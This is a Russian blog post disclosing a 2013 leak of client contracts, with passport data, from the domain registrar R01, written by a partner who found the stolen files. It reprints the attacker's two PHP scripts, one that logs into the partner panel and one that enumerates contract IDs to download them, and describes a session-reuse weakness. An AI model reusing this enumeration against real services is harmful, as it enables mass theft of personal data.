22 октября 2013г с 2 до 8 часов утра у R01 произошла утечка текстов 99999 клиентских договоров содержащие все паспортные данные клиентов, фактического адреса проживания, номера телефона и email. Фактически, из-за каких то проблем злоумышленник получил тексты примерно 50% процентов договоров (файлы были нулевые). Возможно, ранее были произведены аналогичные попытки слития и злоумышленник располагает полной базой договоров. Также по непонятной причине злоумышленник не удалил следы своего взлома и все данные успешно закешировались в google.
скриншот на утро 10 декабря (в настоящее время кэш очищен)
Узнаем, как это произошло:
Лирическое отступление: Я являюсь партнером r01 и домены регистрирую только на себя и друзей. 8 декабря мне стали поступать звонки от неизвестных людей которые просили меня предоставить доступ к их домену на основании того, что они готовы сообщить мне все паспортные данные владельца и при этом говорили, что паспорт они потеряли и вообще физически не могут встретиться, так как теперь проживут в другой стране. Я связался с другом, который регистрировал данный домен на своего клиента и он сказал, что с ним ни кто не связывался и мои контакты он ни кому не говорил. Мне стало интересно, откуда неизвестные взяли мой номер – я его ни когда не засвечивал в сети и при наборе его в google я обнаружил свои договор по адресу ns2.kladovochka.net/gmail-box.com/100000-119999/res/XXXXXX.html
kladovochka.net –
Перейдя по адресу ns2.kladovochka.net/gmail-box.com/ я увидел следующую картину
Названия папок и уже упакованных архивов — видимо внутренние порядковые номера договоров в базе R01. В каждой папке были тексты соответствующих договоров и скриптов взлома, различающихся только выборкой последовательности номеров (скорей всего слитие шло параллельно).
Судя по исходникам слития базы договоров алгоритм был следующий:
1 Запускается скрипт ses.php, задача которого просто залогиниться под партнерским аккаунтом и сохранить печеньку.
ses.php
<?php
error_reporting(E_ALL);
$cookie_file = "cookie.txt";
$ch = curl_init();
$url_string = 'https://partner.r01.ru/?';
curl_setopt ($ch, CURLOPT_URL, $url_string);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "wizard_domain2=&auid=&htid=&action=1&login=18339/R01-REG&passwd=XXXXXX&remember=on");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$html = curl_exec ($ch);
curl_close($ch);
echo $html;
Печенька cookie.txt содержит идентификатор сессии regbase2_id
cookie.txt
.r01.ru TRUE / FALSE 0 regbase2_id XXXXXXXXXXXXXXXXXXX
partner.r01.ru FALSE / FALSE 0 test passed
Далее запускается скрипт ugon.php, который используя ранее сохраненную печеньку перебирает печатные формы договоров и сохраняет их на сервере. По всей видимости, у r01 не было разделения прав для доступа партнеров только к своим договорам.
ugon.php
<?php
set_time_limit(0);
function save($i) {
$ch = curl_init();
$cookie_file = "cookie.txt";
$url_string = "https://partner.r01.ru/AB/print_version.khtml?pftid=1932&type=enclosure&id=$i&outputf=htm";
curl_setopt ($ch, CURLOPT_URL, $url_string);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$html = curl_exec ($ch);
curl_close($ch);
file_put_contents("res/".$i.".html", $html);
}
for($i = 80000; $i < 100000; $i++) {
save($i);
}
Обо всем об этом я сразу рассказал службе поддержки r01 по всем доступным каналам, чтобы убедиться, что мое сообщение получено и они понимают серьезность проблемы. Просил их своим влиянием побыстрее заабузить
P.S. Прошу прощения, что я только сейчас обнародую эту информация и кого то уже могли обмануть злоумышленники – я ждал пока google очистит кеш, чтобы другие мошенники не смогли собрать свою базу из google. И вчера на roem.ru/2013/12/10/addednews86718/ произошел слив информации об этом инциденте, который помог к середине дня затереть видимость данных и убрал доступ к сохраненной копии договоров.
P.S.S. Изначально я думал, что была украдена печенька администратора и в результате чего я выяснил, что regbase2_id остается действующим даже после разлогинивания клиента в панели управления по кнопке выход и также оказалось, что его можно было передавать как параметр в строке url – т.е. была возможна подмена сессий – сейчас исправлено.
Автор: televich